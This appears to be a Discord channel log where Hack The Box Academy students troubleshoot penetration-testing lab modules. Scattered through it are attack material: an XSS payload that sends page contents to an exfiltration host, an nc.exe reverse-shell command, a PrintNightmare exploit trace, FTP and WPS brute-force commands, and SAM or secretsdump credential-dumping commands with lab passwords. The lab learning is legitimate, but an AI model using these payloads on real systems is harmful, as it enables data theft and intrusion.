#modules

1 messages ยท Page 350 of 1

winter schooner
#

and i also did for some other ports,,i tried using nc, instead of nc.exe, as well as using different cmd users.

image.png image.png
eternal vigil
#

actually the deal is

#

you are working with 172.16.1.5 while you should try the other ip avail

#

just ipconfig into your MS01 and put that ip to retrieve the powershell base64 command

#

it will work

winter schooner
#

generated for the task

eternal vigil
#

target is correct i.e DC01/172.16.1.10

#

the attacker ip is what i am talking about the one your are listening from , machine MS01

#

just try that once and lmk if it works for you

winter schooner
eternal vigil
#

yup

winter schooner
#

ok i will try that thanks

eternal vigil
#

np

lyric quiver
#

Hi i'm doing linux privilege escalation on Kernel exploit, I executed my binary, got root but can't access the flag, did I miss something ?

image.png
midnight galleon
#

ls -la the flag

lyric quiver
#

And for the path its given :

image.png image.png
winter schooner
# eternal vigil np

Now im getting this, and i restarted my academy vpn and also the target so i dont know what the issue is.

image.png
lyric quiver
urban elk
winter schooner
urban elk
#

double powershell -e

winter schooner
urban elk
#

what if you use the IP as the -Target ?

midnight galleon
#

wait let me spwan the target

winter schooner
winter schooner
#

thank you broo

urban elk
#

I'm glad

lyric quiver
rustic sage
#

Medusa -h IP -U user.list -P password.list -M ftp -n 2121 -t 16 this command is correct right?

#

Because I am trying to brute force ftp in attacking common service module and Medusa just ran through all the users and passwords in the list given to us and it didn't find the right creds

#

Not the right place

midnight galleon
rustic sage
midnight galleon
rustic sage
#

Didn't find anything

midnight galleon
midnight galleon
rustic sage
#

Medusa should stop once it found the right creds right?

midnight galleon
#

ok lemme check

zealous tiger
#

hey anyone here know how i could start learning to do ethical hacking

rustic sage
zealous tiger
#

i know how to do python and do cs but ik that wont help me

zealous tiger
# rustic sage Tryhackme

i have a job set up soon in a company that checks websites for vunrabilities so i need to learn all about it for the job

rustic sage
#

Yo everyone this channel is for solving modules inside of hack the box

#

Everything else goes in general

#

Create account on HTB verify and chat in general

midnight galleon
#

the user starts with r

#

not here

rustic sage
midnight galleon
#

try hydra tbh

rustic sage
#

I had to create a file, paste all Medusa stuff in there, ask chatgpt to find any right creds and it found it inside of all that garbage

rustic sage
#

I fucking hate brute forcing

midnight galleon
#

it is what it is

rustic sage
#

When I started cybersec I thought there would be a lot of things I don't understand but one day they would make sense

#

This will never make sense

#

I put the flag specifically to stop brute forcing after the service found the creds and it keeps going

#

Fuck me

#

You go on HTB and you press the big yellow button "sign up"

final shale
#

It wont be bad to make a module about DDOS/DOS attacks

dark hedge
#

i don't really see the need as they are usually out of scope for pentests and red team assessments

final shale
#

There are blue team modules

dark hedge
#

there are, but what does that have to do with what you're suggesting

final shale
#

A blue team module for how to detect and defend against DDOS.

dark hedge
#

seems more like a preventative thing than a detection thing

#

but could be a mini-module

#

you can /feedback to suggest

gilded adder
#

hey guys, if I purchase VIP+ sub... will I get also access to Pwnbox in Academy modules?

dark hedge
rustic sage
#

Well u better figure it out

gilded adder
dark hedge
#

there is the Student plan, but other than that you'll have to stick with getting cubes monthly

gilded adder
dark hedge
storm elk
vernal pebble
#

I am stuck for the "XSS Filter Bypasses" from the "Advanced XSS and CSRF Exploitation" module. Can someone provide me some guidance?
I used the following encoded script in the vulnerablesite to callback the script from exploit server

3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fexploitserver.htb%3A50406%2Fexploit%3E%3C%2FSCRIPT%3E

Then I tried to use the basic payload on the exploitserver to see if i get back any data, but i get nothing:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

I get back on the exfiltrate.htb only the following request which didn't came from the vulnerablesite:

/favicon.ico
Host: exfiltrate.htb:33428
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://exfiltrate.htb:33428/log
Priority: u=6
X-Forwarded-For: 10.30.18.242
X-Forwarded-Host: exfiltrate.htb:33428
X-Forwarded-Server: exfiltrate.htb
Connection: Keep-Alive
#

I am stuck, and I can't get my mind around it

calm obsidian
#

I have been stuck on the exploiting thick client section on attacking common applications for 3 weeks lol is it allowed if someone sends me the answer so I can move past it? I have grown too frustrated with it and its making me not want to spend time doing cpts path anymore.

final shale
#

I haven't done that module, but some thing that sticks out to me is the script doesn't look like its fully URL encoded. It might not be that but I usually URL encode the special char as well just in case

vernal pebble
final shale
#

3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fexploitserver%2Ehtb%3A50406%2Fexploit%3E%3C%2FSCRIPT%3E

vernal pebble
#

I think the problem is the communication between the vulnerable app, the exploitserver and the exfiltrare server. The hint is saying that you should use no port in the payload for the exfiltrate.htb.

rustic sage
#

I spawned another machine and reset my vpn idk why it keeps doing that. Attacking common services - attacking smb

IMG_20241108_194740.jpg
vernal pebble
#

The support team is working 24/7?

final shale
rustic sage
#

No they take days to respond

final shale
#

There is probably a thread for the module online you can check there for some more hints. Like i said i havent done that module

vernal pebble
#

Anyone who finished the module? ๐Ÿ˜ฆ

rustic sage
#

@midnight galleon it keeps giving me this

IMG_20241108_194740.jpg
#

I tried updating it, spawning new boxes, changed vpn, updated python, downloaded another smbmap file, download an smbmap.py file and still doesn't work

midnight galleon
#

smbclient

vernal pebble
rustic sage
# midnight galleon nmap says working?

Nmap says there are smb shares, also smbclient show me there are shares but I need to see which share has read and write permission and the module uses smbmap

rustic sage
vernal pebble
#

When something that you are sure should be working, is not working. Try it from the AttackBox

midnight galleon
#

but if u want to stick to smbmap i will help

#

which module is it?

rustic sage
rustic sage
vernal pebble
#

Exactly ๐Ÿ™‚

rustic sage
#

And it doesn't show me all that garbage that it shows me in vm

vernal pebble
#

I had the same issue for multiple labs and modules

#

Some tools/commands won't work from your VM, which can be frustrating, but it is what it is

rustic sage
#

Mmhhhhh why tf is it not working

#

I just downloaded a new smbmap

midnight galleon
#

yeah it disconnects from vm but works on pwnbox

#

might be timeout lemme increase it

rustic sage
midnight galleon
#

just use netexec sadge_business

image.png
weary grotto
#

Hi! I am making a sightless machine but I cannot find the root flag. Anyone in the same situation?:/

lavish drum
#

sometimes

lavish drum
rustic sage
#

Why would it work from attackbox but not from other machines? And why you get a different error than me

#

It's WEIRD

midnight galleon
weary grotto
midnight galleon
cosmic tide
#

Hello, I'm working on Windows Privilege Escalation with SeImpersonate privilege in the last module.
I think I got the success message but can't understand why the reverse shell is not connected as following:

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK```

Listener:
```root@dmz01:~# nc -nlvp 443
Listening on 0.0.0.0 443```

Without `PrintSpoofer64.exe` , just nc command `c:\Users\Public\nc.exe 172.16.8.120 443 -e cmd` was working.

The OS is Windows 2019, so I thought that I needed to use PrintSpoofer.
Anyone can give some help?
sand silo
#

Yoo

storm elk
#

Hello. Please read #welcome and #rules it will explain how to get verified

final shale
cosmic tide
#

Yes, that's DMZ's Internal IP.

rustic spire
#

Some PowerShell code has been loaded into memory that scans/targets network shares. Leverage the available PowerShell logs to identify from which popular hacking tool this code derives. Answer format (one word): P____V___

vernal pebble
rustic spire
#

it's in the Introduction to Threat Hunting & Hunting With Elastic, Hunting Stuxbot

gusty coral
#

Hello im new and don't understand cyber security very well, where would the best place to ask questions about securing my devices, my public email address, my IP address, and what can be done with it, and other things of that nature?

dark hedge
#

if you're here to start learning about cybersecurity, then that's fine. but this server isn't a general online cybersecurity consulting place, and i'm not sure where the best place to ask your question would be

oblique flax
#

Are there any cloud related labs or pro labs that are cloud related for Azure, GCP, AWS?

soft reef
midnight galleon
oblique flax
fierce stream
#

Hello, for the shells and payloads live engagement. When on the foothold machine, how do you access a browser?

oblique flax
midnight galleon
#

but that is too early if u are doing it in order lemme see

fierce stream
# midnight galleon local port forward the service?

I mean I know how to do that. I considered using ligolo, but got a permission denied. I feel like this should be fairly straight forward being that it's at the beginning of the course haha. Yet, I am struggling with this. I need the browser to be able to log into a web page, to upload a msfvenom payload.

midnight galleon
#

oh did u connect with xfreerdp ?

fierce stream
#

I did.

midnight galleon
#

then you should get a GUI right?

fierce stream
#

I do have the GUI, but I canโ€™t find the browser anywhere. I donโ€™t see Firefox chrome chromium or safari. I saw tor browser but that was failing.

dark hedge
#

firefox is on the jump host, just run firefox in the terminal

fierce stream
#

Thanks @dark hedge Iโ€™ll give that a shot.

midnight galleon
#

it has a firefox

#

just not on the menu

midnight galleon
#

u can also install whatever u what

#

it doesn't have PublicIP tho so u would need to do some file transfering

vernal pebble
viral snow
#

Were you able to complete this one? I've been stuck on it for a few hours, I could use some help.

I'm stuck on the last Python step before returning to powershell. I keep a bunch of errors. ๐Ÿ˜ฉ

soft reef
rustic sage
#

Guys I'm in attacking common services - attacking sql databases.
For the first question it's asking me to find the password of mssqlsvc. I read on the forum that you have to use responder to steal the hash but it's not letting me do it. Also I tried to impersonate users, I tried to use xp_cmdshell. Like literally everything is denied

#

Do I have to brute force mssqlsvc password?

fathom pendant
#

Nope

viral snow
# soft reef What are the errors?

It's saying Excel xlsx file; not supported.

I'm also confused if I need to download setuptools-2.0, and XLRD separately. Or do I download XLRD inside setuptools?

rustic sage
#

It's always denied

fathom pendant
#

Wdym "always denied"

#

I made an updated version of the tool

rustic sage
#

@fathom pendant It's denied when I'm in master and when I'm not in master, it's denied when I'm using mssql or tsql, it's denied when I try to switch user, it's denied when I try to use xp_cmdshell

#

Denied denied denied

#

Denied when I try to change advanced options

#

And denied when I try to look into tables

fathom pendant
rustic sage
#

Even when I try to login with windows auth denied denied denied

quasi wave
#

hi so I tried looking for passwords the way it said in the Linux Credential Hunting section of Password Attacks module

#

when I use for-loops to search for passwords I don't find it

#

then I can't get laZagne running on target either because I upload it with ftp and it doesn't have the required modules to run and the target is not connected to the Internet

#

can someone help me with this?

#

I have password and logged into target as kira

#

but I'm trying to find Will's credentials on the target Linux box

#

I don't need you to help me find kira as I already have found her creds

#

whoever she is

#

can someone give me a hint as to where I need to look?

#

I don't have permissions to access sam's smb folder

#

I don't have permissions to unzip the notes folder

#

there's a bunch of things I don't have permission to access

#

and the password isn't "challengePassword" which is something I find in a file

#

I found that mysql was a user here

#

which is kind of weird

gray yacht
real delta
rustic sage
#

You are the number one most unlikable person in here

robust wolf
#

In the Linux fundamentals module the File System Hierarchy chart is missing /sbin

acoustic owl
rustic sage
#

Most of the others are cool

real delta
#

@rustic sage what module are you doing and what are you trying to do?

vernal pebble
#

I am stuck for the "XSS Filter Bypasses" from the "Advanced XSS and CSRF Exploitation" module. Can someone provide me some guidance?

dark hedge
#

try a different filter bypass

dapper moth
#

Or at least I think itโ€™s owasp
But there is a bypass payloads page in that section

vernal pebble
#

From what I understand from the section I should first get the pop-up appear on the vulnerablesite, then try to do the exfiltration.

viral snow
#

I'm in Windows Privilege Escalation - Windows Desktop Versions.

The error I get after trying to install xlrd is "TypeError: argument of type 'NoneType' is not iterable." I have no idea what that means or how to fix it. Any help?

crisp solstice
#

Hey all! I'm in Shells & Payloads The Live Engagement. Is it possible to complete this section without the hints? As the hints provide information you need to complete the lab, and i cant figure out how i can enumerate it by myself! Thanks to anyone taking the time to read this!

fathom pendant
crisp solstice
fathom pendant
crisp solstice
#

Haha, yeah I was sitting there for a good couple of hours today going through all my enumeration stuff trying to find it. Lesson learned for next time!

vernal tapir
#

Hi all, I'm on the AD Enumeration Module in the Bleeding Edge Vulnerability section, trying to get question #2 and I don't know why I'm getting this error and can't really figure it out. Any help is appreciated thanks.

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[*] Connecting to ncacn_np:172.16.5.5[\PIPE\spoolss]
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.5.5:445  ...  OK
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\172.16.5.225\CompData\backupscript.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/dist-packages/impacket/smbconnection.py", line 543, in writeFile
    return self._SMBConnection.writeFile(treeId, fileId, data, offset)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/impacket/smb3.py", line 1739, in writeFile
    written = self.write(treeId, fileId, writeData, writeOffset, len(writeData))
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/impacket/smb3.py", line 1447, in write
    if ans.isValidAnswer(STATUS_SUCCESS):
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/impacket/smb3structs.py", line 460, in isValidAnswer
    raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/htb-ac-1497512/CVE-2021-1675/CVE-2021-1675.py", line 190, in <module>
    main(dce, pDriverPath, options.share)
  File "/home/htb-ac-1497512/CVE-2021-1675/CVE-2021-1675.py", line 93, in main
    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/impacket/dcerpc/v5/rprn.py", line 657, in hRpcAddPrinterDriverEx
    return dce.request(request)
           ^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 860, in request
    self.call(request.opnum, request, uuid)
  File "/usr/local/lib/python3.11/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 849, in call
    return self.send(DCERPC_RawCall(function, body.getData(), uuid))
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 1302, in send
    self._transport_send(data)
  File "/usr/local/lib/python3.11/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 1239, in _transport_send
    self._transport.send(rpc_packet.get_packet(), forceWriteAndx = forceWriteAndx, forceRecv = forceRecv)
  File "/usr/local/lib/python3.11/dist-packages/impacket/dcerpc/v5/transport.py", line 543, in send
    self.__smb_connection.writeFile(self.__tid, self.__handle, data)
  File "/usr/local/lib/python3.11/dist-packages/impacket/smbconnection.py", line 545, in writeFile
    raise SessionError(e.get_error_code(), e.get_error_packet())
impacket.smbconnection.SessionError: SMB SessionError: code: 0xc00000b1 - STATUS_PIPE_CLOSING - The specified named pipe is in the closing state.
rustic sage
#

Does subbrute take a lot to start?

hot parcel
willow spruce
#

sam

fickle bison
#

is q3 of DACL ATTACKS II skills assessment broken? I have a clear path already but it seems Whisker does not work as intended? Btw I have the NTLM hash of one of the local admins in RD09.

fiery berry
coral trench
#

guys any hint on Exploitation of PDF Generation Vulnerabilities in Injection attack modules about what is the internal application ? cuz have been trying different ips and ports and pathes nothing

fiery berry
fickle bison
ocean cedar
fathom pendant
fiery berry
umbral lintel
#

Hi, Im having a problem with setting up parrot os, for one of the modules, is this the right place to be?

fathom pendant
#

But you don't need to do everything from the setting up module

umbral lintel
#

i got this when i rebooted after setting up the LVM

Parrot_Error.PNG
fathom pendant
#

Yeah that's an issue with it not booting

#

I suggest going to the parrotsec discord and detailing the steps you chose

rough umbra
#

Heyy @cold star

cold star
brazen island
#

Hi guys, any information regarding discount for htb academy in black friday or cyber?

acoustic owl
rough umbra
upbeat wasp
#

Hi, can someone help me in some doubts regarding C2 tools like evil-winrm/ NC.exe / PowerShell ? Related with the Shells and Payloads module.

fathom pendant
#

Those aren't c2 tools

#

Also the shells and payloads module generally only requires the knowledge in it

spice shale
#

Hello

final shale
#

It kinda sucks that the Attacking Common Applications pretty much doesnt give any cubes for the practice of every section.

rocky estuary
#

guys i'm stuck in Privileged Groups section from linux privesc module i already found the flag but its refusing to accept it

final shale
#

Make sure you dont have a space in the beggining or the end of the flag

rocky estuary
final shale
#

If you found the flag a certain way dont change it by adding HTB{}

rocky estuary
final shale
#

I dont know then. Havent done that module yet

olive slate
#

Anybody's done Attacking GraphQL yet? The Information Disclosure section "After executing an introspection query, what is the flag you can exfiltrate?" I'm at a loss to what the heck i'm supposed to do

pine dune
#

Hi guys

#

netexec rdp 10.129.210.6 --local-auth -u Bob -p HTB_@cademy_stdnt! --sam

#

it says -- sam is unrecognizaeble ...as this is originally a crackmapexec command, however crackmap is outdated and no longer maintained, I was wondering how I could use this with netexec

#

in htb academy they gave the crackmapexec command

faint geode
#

So -sam instead of --sam ?

Could be wrong here as not near computer

pine dune
final shale
#

You are already doing --local-auth

#

i dont think you need -sam

faint geode
#

My bad

pine dune
#

why do they do it here then?

#

ill try without sam

final shale
#

O you are trying to dump the hashesh

#

well just use something else like impacket ๐Ÿ˜„

#

anddddd

faint geode
#

When using the rdp protocol can you dump the sam ? Your command is checking credentials against rdp @pine dune

pine dune
#

it didnt dump the hashes without sam

final shale
#

Why are you doing RDP ?

#

you gotta do SMB

pine dune
final shale
pine dune
pine dune
#

it says rdp

#

i didnt rdp to it.

faint geode
faint geode
pine dune
#

i dont understand, why should i rdp to the box when i can do it remotely using netexec

pine dune
final shale
#

Its just another way. Usually there is more than one way to these tasks. And he is correct

#

The RDP is to RDP into the machine

#

use SMB with netexec to dump hashes

pine dune
#

do i have to rdp into the machine

#

what will i do with rdp in the machine?

#

cant i just do it remotely because i have the creds for the machine?

final shale
# 
impacket-secretsdump Administrator:Password123@10.129.210.6

Or do maybe something like this. replace the ip and creds

pine dune
#

ive rdp

pine dune
final shale
# 
netexec smb 10.129.210.6 --local-auth -u Bob -p HTB_@cademy_stdnt! --sam
#

Just do this command and you should be good to go

dark glacier
#

Session Security ---> Cross-Site Request Forgery (CSRF or XSRF) ---> If the update-profile request was GET-based and no anti-CSRF protections existed, would you still be able to update Ela Stienen's profile through CSRF? Answer format: Yes or No
I tried the <form id="submitMe" action="http://xss.htb.net/api/update-profile" method="GET"> but receive Cannot GET /api/update-profile, may I did anything wrong?

pine dune
final shale
#

Because you cant do it via RDP protocol. It just doesnt work that way. It is not meant for that. SMB protocol can do more than just sharing files. Like credentialed command execution

#

I am gonna spill my coffee.

pine dune
final shale
pine dune
#

password attacks is just before

final shale
#

ahaaa. Well so dont worry then. It will become clearer when you get there. ๐Ÿ™‚

pine dune
#

@final shale do u know why its not giving me the hash?

final shale
#

try using --show at the end of the command

pine dune
#

ok hold on

pine dune
#

๐Ÿ˜„

torn burrow
#

Is there a way to have two machines running simultaniously? Currently working at the Windows Evasion module and for the skills assessment you have to develop the malware and then test it on the target machine. I am not booting the development machine, shutting it down to boot the target machine just to find out that it got flagged there, then having to shut it down just to boot up the development machine until it works.. that's way too cumbersome

final shale
torn burrow
final shale
#

Well thats weird, but i havent done that module so not sure

torn burrow
#

Gotta check back with the support then, but thanks nonetheless

gray yacht
near night
#

Good day everyone
I have question regarding this module "Password Attacks"
Specifically in the section : "Network Services" https://academy.hackthebox.com/module/147/section/1327
Exactly in the "Question 1 : Find the user for the WinRM service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer."

So I realised first that cme(CrackMapExec) is not installed in pwnbox, so I did that manually by clonning the repo "git clone https://github.com/byt3bl33d3r/CrackMapExec" , then "cd CrackMapExec", then "python3 -m pip install ."
after that I got cme
So I used it "crackmapexec winrm 10.129.230.39 -u username.list -p password.list"
But I am getting this result :
""
โ”Œโ”€[eu-academy-6]โ”€[10.10.12.15]โ”€[htb-ac-745587@htb-v5yutstpjs]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ crackmapexec winrm 10.129.230.39 -u username.list -p password.list
SMB 10.129.230.39 5985 WINSRV [] Windows 10.0 Build 17763 (name:WINSRV) (domain:WINSRV)
HTTP 10.129.230.39 5985 WINSRV [] http://10.129.230.39:5985/wsman
HTTP 10.129.230.39 5985 WINSRV [-] WINSRV\username.list:password.list
""

Which I believe is wrong (since I look at other solution and it shows that I should get something like this : )
""
SMB 10.129.202.136 5985 NONE [] None (name:10.129.202.136) (domain:None)
HTTP 10.129.202.136 5985 NONE [] http://10.129.202.136:5985/wsman
.
.
.
WINRM 10.129.202.136 5985 NONE [-] None\john:batman
WINRM 10.129.202.136 5985 NONE [-] None\john:password
WINRM 10.129.202.136 5985 NONE [-] None\john:iloveyou
WINRM 10.129.202.136 5985 NONE [-] None\john:princess
WINRM 10.129.202.136 5985 NONE [+] None\john:november (Pwn3d!)
""

And the questions is
What I did wrong ?

final shale
#

First use nxc. crackmap is deprecated at this point

near night
#

oh thx
I tried now that
but it gaves me errors "" ImportError: cannot import name 'WIN_VERSIONS' from 'impacket.smb3' ""
Tried to fix it , it sound fixed ("" pip show impacket "" "" pip install --upgrade impacket "")
then I run
""
โ””โ”€โ”€โ•ผ [โ˜…]$ nxc winrm 10.129.230.39 -u username.list -p password.list
WINRM 10.129.230.39 5985 WINSRV [*] Windows 10 / Server 2019 Build 17763 (name:WINSRV) (domain:WINSRV)
WINRM 10.129.230.39 5985 WINSRV [-] WINSRV\username.list:password.list

""

#

maybe this section need to be updated I guess , since it is out-to-date

final shale
#

What is your python version?

#

if its 3.12 above pip should work only in env

final shale
severe orchid
#

Guided Lab: Traffic Analysis Workflow
https://academy.hackthebox.com/module/81/section/962#questionsDiv

OK I'm stuck. The Worksheet Answer file Walkthrough Answers.md has completely different IP Addresses from my live capture. Should I be using just the supporting packet file from the Resources tab? This is REALLY frustrating this is my first HTB guided lab and its really poorly constructed!!!! ๐Ÿ˜ก Any help would be greatly appreciated. Thank you

final shale
severe orchid
#

Its almost like HTB sets it up that way.

rocky estuary
final shale
#

I am doing that module next

rocky estuary
final shale
foggy monolith
#

Attacking Common Applications > GitLab - Discovery and Enumeration
Why is the box throwing a 502? VPN issue or...?

gitlab-debug.png
#

Fixed itself anyway, but thanks.

#

Just refreshed the page and it started working.

rugged swan
#

Hello, I have some issues understanding the first question https://academy.hackthebox.com/module/147/section/1639
Connect to the target machine using RDP and the provided creds. Export all tickets present on the computer. How many users TGT did you collect?
I exported TGT tickets via mimikatz but how do I know how many of these are related to users?
NVM: solved

candid lily
#

i need help regarding advanced deserialization attacks JSON, it requires .NET 4.8 but its not possible to install it what to do

#

im getting this error im not sure if its because of .net version

image.png
cloud urchin
#

why isn't it possible to install?

#

4.8 is preinstalled with win 11, you can also just download it from microsoft's website

final shale
#

You guys waiting for the new machine?

cloud urchin
#

no

sinful osprey
#

hello! can somebody help me with Certified Machine? Thanks!

final shale
sinful osprey
final shale
#

gotcha

dark hedge
#

get access by reading and following #welcome

final shale
dark hedge
#

no

finite abyss
#

Intro to Whitebox pentest
Final Assessment, Patching question

I pasted the patched code and Injection did failed
So my patch is correct right, Then why it is not showing flag

image.png
acoustic owl
finite abyss
#

Yes correct it was before function call. I'll try that

snow briar
#

Hey guys i'm kind of stuck on the last 2 exercises of the skills assessment in the attacking WPS module, I tried to brute force the pin but the AP keeps locking out, the problem is, we don't have mdk4 in the machine I RDP to in order to crash the AP using authentiaction DOS, and get rid of the locking, did anyone complete the module yet, it's pretty new, it would great if anyone can help me, BTW, i already tried a pixie dust attack both APs are not vulnerable to it, I also got a list of default pins using the APs BSSIDs and stored them in a variable in my script to reiterate over each likely pin, the problem, like I said, is that I keep getting locked, and the only way I know of bypassing this is by through flooding the access point in order to reset, which we can't do since we don't have mdk4

final shale
snow briar
#

I did, the problem is that I keep getting locked out... i used the same script: #!/bin/bash
#We add generated PINs into this list
PINS='<pin list separated by space>'
for PIN in $PINS
do
echo Attempting PIN: $PIN
sudo reaver --max-attempts=1 -l 100 -r 3:45 -i mon0 -b 60:38:E0:A2:3D:2A -c 1 -p $PIN
done
echo "PIN Guesses Complete"

final shale
snow briar
#

it does but then it locks again after one trial, did you finish the module yet?

final shale
#

yes. I just dont remember exactly what was the deal

snow briar
#

just to make sure, did you use mdk4 at all ? or did you just rely solely on the script? because at this point brute forcing the PIN seems to be the only option i just need to know how to bypass the locking

final shale
#

there was no mdk.

whole vale
#

yo i am on the skills assesment for attacking web applitcations w/ ffuf, i installed the fuff program cause the "update" and i did the whole echoing the ip address to be academy.htb but a small thing appeared for me when i entered ||ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ || and many other formats of this nothign seemed to be gained from the fuzzing, idk why that is but yeah

fathom pendant
#

To fuzz for subdomains in this context you need to add -H " HOST: FUZZ.academy.htb" (note you'll also potentially need to filter)

snow briar
whole vale
#

oh wrong channel

gray merlin
#

Dumping lsass using procdump in sliver does not seem to work anymore.

loud dagger
#

hey it's acceptable to use htb forums to solve technical difficulties or errors right?

#

or should i not get into the habit of doing that

#

like just now i had to fix a metasploit module and there's no way i would have figured out the solution myself

weak tangle
#

Hi there looking at the Active Directory LDAP module and specifically the LDAP Overview section. I'm trying to get the How many users exist in the INLANEFREIGHT.LOCAL domain? question but I can't seem to get the answer. I tried running || Get-ADObject -LDAPFilter '(objectClass=user)' -SearchBase 'DC=INLANEFREIGHT,DC=LOCAL' | measure|| but the number of users returned there are not the same as what the module wants. Am I missing something conceptually here in how I'm approaching this? I would think this would grab the users appropriately.

EDIT: Managed to solve this; for those curious the query was returning extra objects that were not of the right type so I was getting extra results; had to change the command being run.

somber lagoon
#

Hello,

I have a question regarding โ€œAnalyze the event with ID 4624, that took place on 8/3/2022 at 10:23:25. Conduct a similar investigation as outlined in this section and provide the name of the executable responsible for the modification of the auditing settings as your answer. Answer format: T_W_____.exeโ€. I conducted an analysis similar to the one outlined in this section and was able to find the solution manually. However, for the next question, I successfully wrote a custom query to solve it.

In the first question case, I attempted to create a custom query to search within a specific timeframe, but I keep receiving an "invalid query" message. I'm wondering if anyone else has managed to solve this using a custom query that filters by timeframe (e.g 2024-11-08T10:23:25.000Z - 2024-13-08T10:23:25.000Z)Note: I did not experience any issue when using a custom query that filters for a specific time.
(CDSA).

marble hearth
#

Hi all;
excited to be here is my first time and i have a question regarding the feroxbuster performance.
While i was scanning the target IP:PORT with recursive option etc, by scanning i observed that scanning was performed with ~1000/sec and after a while distributed within L1-L3 with ~300/sec

I wonder if fuzzing performance depents on the machines CPU/RAM and,or my internet speed ?
My execution command was the following:

$ feroxbuster -u http://94.237.59.119:50298/recursive_fuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,.html -t 200 -C 400,404,401

weak tangle
# marble hearth Hi all; excited to be here is my first time and i have a question regarding the ...

Depends, mostly its constrained by both ends of the network speed (aka internet speed of the server you are targeting and your internet speed) as well as how fast the target application is willing to consume the data. If you end up sending data too fast some applications will think you are trying to DoS the app and will stop responding for a period of time. This is why a lot of fuzzing applications have a backoff approach where they may start off fast and then slow down a bit down the line when they get a better idea of how fast the application is willing to respond.

That being said I don't know if this is 100% the case here as I'm not clear on what you mean by "distributed within L1-L3" but hopefully that might help conceptually r.e possible approaches feroxbuster is taking.

finite abyss
marble hearth
# weak tangle Depends, mostly its constrained by both ends of the network speed (aka internet ...

Hey tek, thanks for answering. I think i solved the issue. I changed on my VM from NAT to bridged Network and suddently the scan afterwards jumped from ~1000/sec to ~6500/sec. Once feroxbuster reached L3 the performance was distributed/shared among L1 to L3 with around ~4500/sec each.
I should maybe also consider to throttle down the scan in order to prevent security mechanism on the target IP:PORT to prevent window-size loss when data traffic is ongoing.

weak tangle
thorny sluice
#

I'm on command injection skill assessment does I've been injection on GET /index.php?to=tmp with whoami and pwd and nothing coming back in terms of filtering. Any tips?

weak tangle
#

Looking at the Active Directory LDAP module and its Active Directory Search Filters section, and am stuck on the question Find the name of an account with a ServicePrincipalName set that is also a member of the Protected Users group.

I was under the impression that this had already been covered in the course materials but the users I got back don't seem to be accepted as correct answers?

weak tangle
thorny sluice
safe star
thorny sluice
cloud urchin
safe star
weak tangle
cloud urchin
thorny sluice
safe star
rough comet
#

hi

#

On the AD Bloodhound module - Edges section, Do we suppose to RDP with user grace? I can't with given credentials. I tried via evil and psexec, I couldnt either

#

Trying to complete the "ForceChangePassword" edge attack.

weak tangle
cloud urchin
#

the question itself says which group.. the Protected Users group

#

or you can search spn's i guess

fathom pendant
whole grotto
#

Hi everyone im a lil bit stuck on the Wi-Fi Penetration Testing Basics - Skills Assessment, i managed to answer the first question. Im trying to capture trafic to then try to crack with aircrack ng but didnt manage to. Any hint ?

rough comet
rough comet
#

Creds are given below, lol... I guess is time for a break

red fossil
#

Hi everyone, I'd like to inquire about the upcoming University CTF competition. Can a recent graduate whose school email has been deactivated participate?

fathom pendant
#

I believe it required a uni email

near night
# final shale are these username.list:password.list files in the location from which you are r...

is that possible ?!
โ”Œโ”€[eu-academy-6]โ”€[10.10.15.69]โ”€[htb-ac-745983@htb-ul6aspltvo]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ locate username.list
โ”Œโ”€[eu-academy-6]โ”€[10.10.15.69]โ”€[htb-ac-745983@htb-ul6aspltvo]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ locate password.list
